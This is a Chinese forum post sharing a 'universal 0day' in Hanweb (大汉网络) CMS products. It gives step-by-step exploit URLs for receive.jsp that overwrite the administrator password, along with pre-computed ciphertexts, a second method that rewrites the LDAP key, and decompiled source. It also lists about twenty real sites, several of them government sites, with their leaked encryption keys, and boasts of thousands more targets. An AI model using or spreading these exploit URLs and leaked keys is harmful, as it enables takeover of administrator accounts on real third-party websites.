登录 注册

乌云最新曝光的大汉网络通杀0day漏洞分享

本贴最后更新于 3131 天前，其中的信息可能已经时异事殊

第一步，大汉网络加解密说明

LDAP密钥配置文件，/interface/ldap/ldapconf.xml

获取密钥：<enckey>o3h2iB8ggnp2</enckey>

乌云最新曝光的大汉网络通杀0day漏洞分享-安全盒子

我们可以使用大汉的加解密库进行任意加解密，只要知道服务端的密钥，就可以和服务器进行通讯：

乌云最新曝光的大汉网络通杀0day漏洞分享-安全盒子

第二步，保存密钥的ldapconf.xml文件，放在了网站目录，直接可以访问：

code 区域
 （很简单就找到了很多密钥）http://122.224.183.4:80/jcms/interface/ldap/ldapconf.xml [123123] http://221.231.137.195/jcms/interface/ldap/ldapconf.xml [OJ9Un5JmpTfN0gJx] http://202.108.199.114:80/jcms/interface/ldap/ldapconf.xml [OJ9Un5JmpTfN0gJx] http://202.108.199.114/jcms/interface/ldap/ldapconf.xml [OJ9Un5JmpTfN0gJx] http://6bur.cscec.com/jcms/interface/ldap/ldapconf.xml [o3h2iB8ggnp2] http://cengangpcs.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456] http://219.146.58.42/jcms/interface/ldap/ldapconf.xml [123123] http://cq.ea-spring.com/jcms/interface/ldap/ldapconf.xml [o3h2iB8ggnp2] http://caiyuan.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456] http://bingmei.sdcdc.cn/jcms/interface/ldap/ldapconf.xml [uhfuXyOav5pK8hil] http://3bur.cscec.com/jcms/interface/ldap/ldapconf.xml [o3h2iB8ggnp2] http://csbj.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456] http://changspcs.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456] http://blbj.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456] http://cz.anxiang.gov.cn/jcms/interface/ldap/ldapconf.xml [o3h2iB8ggnp2] http://chart.sinotrans-csc.com/jcms/interface/ldap/ldapconf.xml [t0NN3oslN3OW] http://chengdpcs.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456] http://bj.clubchinachic.com/jcms/interface/ldap/ldapconf.xml [o3h2iB8ggnp2] http://dandong.xiangshan.gov.cn/jcms/interface/ldap/ldapconf.xml [123123] http://dayupcs.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456] http://chdj.sinotrans-csc.com/jcms/interface/ldap/ldapconf.xml [t0NN3oslN3OW]

我们拿官网，进行一下测试：

乌云最新曝光的大汉网络通杀0day漏洞分享-安全盒子

访问：http://app.hanweb.com.cn/jcms/interface/ldap/ldapconf.xml

拿到了密钥：<enckey>OJ9Un5JmpTfN0gJx</enckey>

第三步，通过密钥： OJ9Un5JmpTfN0gJx，我们构造如下几个密文：

code 区域

encrypt : e2V1Z3UdA2sNaw==

decrypt : admin

encrypt : DEIBRXBGcUQOM3g0

decrypt : 123456

第四步，覆盖管理员密码为：admin - 123456

漏洞EXP：

http://app.hanweb.com.cn/jcms/interface/ldap/receive.jsp?state=C&result=T&loginuser=e2V1Z3UdA2sNaw==&loginpass=DEIBRXBGcUQOM3g0

直接登录，自动跳转到登录后台，进入后台Getshell的文章很多啦：

乌云最新曝光的大汉网络通杀0day漏洞分享-安全盒子

漏洞分析：

code 区域

组件功能：

/interface/ldap/receive.jsp这个组件，是一个不同大汉系统间，同步用户的通用组件。

例如：jact系统，需要把jcms用户同步到自己的系统中。

这个组件本来就是，用于创建用户的，如果被创建的用户存在的话，就会进行更新操作，在这里直接我管理员的密码，进行了重置。分析一下参数：

loginuser=e2V1Z3UdA2sNaw==

loginpass=DEIBRXBGcUQOM3g0

就是加密后的 admin - 123456，将管理员的密码覆盖了。

源码分析：

code 区域
# \interface\ldap\receive.jsp    // 获取参数   String loginuser = Convert.getParameter(request,"loginuser", "", true, true);    //用户名   String loginpass = Convert.getParameter(request,"loginpass", "", true, true);    //密码    // 创建用户对象   Merp_Pub_UserEntity entity = new Merp_Pub_UserEntity();   entity.setVc_loginid(loginuser);   entity.setVc_password(loginpass);    // 验证用户是否合法   ldapBlf.checkValidate(entity);  # 反编译 jcms.blf.user.LdapBLF.java    // 对于传递进来的参数，进行了解密   vc_loginid = decrypt(vc_loginid, this.encrypttype);   vc_pwd = decrypt(vc_pwd, this.encrypttype);   // 对解密后的用户信息，插入或更新数据库信息   insertOrUpdateUser(ldapEn, groupid, 0);

漏洞证明：


新的姿势：

上面提交的重置管理员密码漏洞，是因为ldap密钥泄漏。

/interface/ldap/ldapconf.xml，直接放到了网站目录中，可以直接访问。

我在对官方demo最新版本的测试中，/interface/ldap/ldapconf.xml是无法访问的。

这样就看不到明文的密钥了，所以无法重置管理员密码了。

官方demo：http://demo.hanweb.com/jcms/

乌云最新曝光的大汉网络通杀0day漏洞分享-安全盒子

于是我又深入分析了一下，/interface/ldap/receive.jsp这个组件，发现一个惊喜。

code 区域
if (state.equals("S")) {    //注册应用    boolean b = ldapBlf.writeXML(appname,enckey,ldapurl,webtype,ssourl,encrypttype); }

原来这个xml的配置文件，是可以覆盖的，所以构造EXP：

http://demo.hanweb.com/jcms/interface/ldap/receive.jsp?state=S&enckey=key888

乌云最新曝光的大汉网络通杀0day漏洞分享-安全盒子

code 区域
构造加解密字符串：enckey  : key888 encrypt : BWcCb3FrBBh8bQ== decrypt : admin 覆盖管理员密码为：admin - admin

漏洞EXP：

http://demo.hanweb.com/jcms/interface/ldap/receive.jsp?state=C&result=T&loginuser=BWcCb3FrBBh8bQ==&loginpass=BWcCb3FrBBh8bQ==

再一次，成功登陆：

乌云最新曝光的大汉网络通杀0day漏洞分享-安全盒子

影响范围：

通过上面两种姿势，新旧版本全系统全版本保证通杀，包括：jcms，jact，jsearch，vipchat，vc，xxgk等等。

轻轻松松几千个站点，上面已经列了一些，不够的话我补充。


  • B3log

    B3log 是一个开源组织，名字来源于“Bulletin Board Blog”缩写，目标是将独立博客与论坛结合，形成一种新的网络社区体验，详细请看 B3log 构思。目前 B3log 已经开源了多款产品：Sym、Solo、Vditor 和 思源笔记。

    1063 引用 • 3453 回帖 • 203 关注
广州 位置
1 赞同
3.0k 14 1.1k 273 175 79 9 53 1.3k

相关帖子

回帖
乌云最新曝光的大汉网络通杀0day漏洞分享

欢迎来到这里！

我们正在构建一个小众社区，大家在这里相互信任，以平等 • 自由 • 奔放的价值观进行分享交流。最终，希望大家能够找到与自己志同道合的伙伴，共同成长。

注册 关于
请输入回帖内容 ...
a731940742
广州
回帖
0
 帖子
6
 积分
1995

近期热议

推荐标签 标签

  • jsoup

    jsoup 是一款 Java 的 HTML 解析器，可直接解析某个 URL 地址、HTML 文本内容。它提供了一套非常省力的 API，可通过 DOM，CSS 以及类似于 jQuery 的操作方法来取出和操作数据。

    6 引用 • 1 回帖 • 477 关注
  • Electron

    Electron 基于 Chromium 和 Node.js，让你可以使用 HTML、CSS 和 JavaScript 构建应用。它是一个由 GitHub 及众多贡献者组成的活跃社区共同维护的开源项目，兼容 Mac、Windows 和 Linux，它构建的应用可在这三个操作系统上面运行。

    15 引用 • 136 回帖 • 1 关注
  • 分享

    有什么新发现就分享给大家吧！

    248 引用 • 1792 回帖
  • Kubernetes

    Kubernetes 是 Google 开源的一个容器编排引擎，它支持自动化部署、大规模可伸缩、应用容器化管理。

    110 引用 • 54 回帖
  • 安装

    你若安好，便是晴天。

    132 引用 • 1184 回帖
  • Linux

    Linux 是一套免费使用和自由传播的类 Unix 操作系统，是一个基于 POSIX 和 Unix 的多用户、多任务、支持多线程和多 CPU 的操作系统。它能运行主要的 Unix 工具软件、应用程序和网络协议，并支持 32 位和 64 位硬件。Linux 继承了 Unix 以网络为核心的设计思想，是一个性能稳定的多用户网络操作系统。

    943 引用 • 943 回帖
  • 知乎

    知乎是网络问答社区，连接各行各业的用户。用户分享着彼此的知识、经验和见解，为中文互联网源源不断地提供多种多样的信息。

    10 引用 • 66 回帖
  • RabbitMQ

    RabbitMQ 是一个开源的 AMQP 实现，服务器端用 Erlang 语言编写，支持多种语言客户端，如：Python、Ruby、.NET、Java、C、PHP、ActionScript 等。用于在分布式系统中存储转发消息，在易用性、扩展性、高可用性等方面表现不俗。

    49 引用 • 60 回帖 • 362 关注
  • LaTeX

    LaTeX（音译“拉泰赫”）是一种基于 ΤΕΧ 的排版系统，由美国计算机学家莱斯利·兰伯特（Leslie Lamport）在 20 世纪 80 年代初期开发，利用这种格式，即使使用者没有排版和程序设计的知识也可以充分发挥由 TeX 所提供的强大功能，能在几天，甚至几小时内生成很多具有书籍质量的印刷品。对于生成复杂表格和数学公式，这一点表现得尤为突出。因此它非常适用于生成高印刷质量的科技和数学类文档。

    12 引用 • 54 回帖 • 65 关注
  • 工具

    子曰：“工欲善其事，必先利其器。”

    286 引用 • 729 回帖
  • 阿里云

    阿里云是阿里巴巴集团旗下公司，是全球领先的云计算及人工智能科技公司。提供云服务器、云数据库、云安全等云计算服务，以及大数据、人工智能服务、精准定制基于场景的行业解决方案。

    89 引用 • 345 回帖
  • 倾城之链
    23 引用 • 66 回帖 • 136 关注
  • 宕机

    宕机，多指一些网站、游戏、网络应用等服务器一种区别于正常运行的状态，也叫“Down 机”、“当机”或“死机”。宕机状态不仅仅是指服务器“挂掉了”、“死机了”状态，也包括服务器假死、停用、关闭等一些原因而导致出现的不能够正常运行的状态。

    13 引用 • 82 回帖 • 51 关注
  • Caddy

    Caddy 是一款默认自动启用 HTTPS 的 HTTP/2 Web 服务器。

    12 引用 • 54 回帖 • 165 关注
  • Vue.js

    Vue.js（读音 /vju ː/，类似于 view）是一个构建数据驱动的 Web 界面库。Vue.js 的目标是通过尽可能简单的 API 实现响应的数据绑定和组合的视图组件。

    266 引用 • 665 回帖
  • SOHO

    为成为自由职业者在家办公而努力吧！

    7 引用 • 55 回帖 • 19 关注
  • 服务器

    服务器，也称伺服器，是提供计算服务的设备。由于服务器需要响应服务请求，并进行处理，因此一般来说服务器应具备承担服务并且保障服务的能力。

    125 引用 • 588 回帖
  • Angular

    Angular 是 AngularJS 的新版本。

    26 引用 • 66 回帖 • 537 关注
  • Wide

    Wide 是一款基于 Web 的 Go 语言 IDE。通过浏览器就可以进行 Go 开发，并有代码自动完成、查看表达式、编译反馈、Lint、实时结果输出等功能。

    欢迎访问我们运维的实例： https://wide.b3log.org

    30 引用 • 218 回帖 • 628 关注
  • ActiveMQ

    ActiveMQ 是 Apache 旗下的一款开源消息总线系统，它完整实现了 JMS 规范，是一个企业级的消息中间件。

    19 引用 • 13 回帖 • 671 关注
  • etcd

    etcd 是一个分布式、高可用的 key-value 数据存储，专门用于在分布式系统中保存关键数据。

    5 引用 • 26 回帖 • 528 关注
  • DevOps

    DevOps（Development 和 Operations 的组合词）是一组过程、方法与系统的统称，用于促进开发（应用程序/软件工程）、技术运营和质量保障（QA）部门之间的沟通、协作与整合。

    47 引用 • 25 回帖
  • Sillot

    Insights（注意当前设置 master 为默认分支）

    汐洛彖夲肜矩阵（Sillot T☳Converbenk Matrix），致力于服务智慧新彖乄，具有彖乄驱动、极致优雅、开发者友好的特点。其中汐洛绞架（Sillot-Gibbet）基于自思源笔记（siyuan-note），前身是思源笔记汐洛版（更早是思源笔记汐洛分支），是智慧新录乄终端（多端融合，移动端优先）。

    主仓库地址：Hi-Windom/Sillot

    文档地址：sillot.db.sc.cn

    注意事项：

    1. ⚠️ 汐洛仍在早期开发阶段，尚不稳定
    2. ⚠️ 汐洛并非面向普通用户设计，使用前请了解风险
    3. ⚠️ 汐洛绞架基于思源笔记，开发者尽最大努力与思源笔记保持兼容，但无法实现 100% 兼容
    29 引用 • 25 回帖 • 85 关注
  • iOS

    iOS 是由苹果公司开发的移动操作系统，最早于 2007 年 1 月 9 日的 Macworld 大会上公布这个系统，最初是设计给 iPhone 使用的，后来陆续套用到 iPod touch、iPad 以及 Apple TV 等产品上。iOS 与苹果的 Mac OS X 操作系统一样，属于类 Unix 的商业操作系统。

    85 引用 • 139 回帖 • 1 关注
  • Eclipse

    Eclipse 是一个开放源代码的、基于 Java 的可扩展开发平台。就其本身而言，它只是一个框架和一组服务，用于通过插件组件构建开发环境。

    75 引用 • 258 回帖 • 617 关注
  • 新人

    让我们欢迎这对新人。哦，不好意思说错了，让我们欢迎这位新人！
    新手上路，请谨慎驾驶！

    52 引用 • 228 回帖
  • Hadoop

    Hadoop 是由 Apache 基金会所开发的一个分布式系统基础架构。用户可以在不了解分布式底层细节的情况下，开发分布式程序。充分利用集群的威力进行高速运算和存储。

    86 引用 • 122 回帖 • 625 关注

最新标签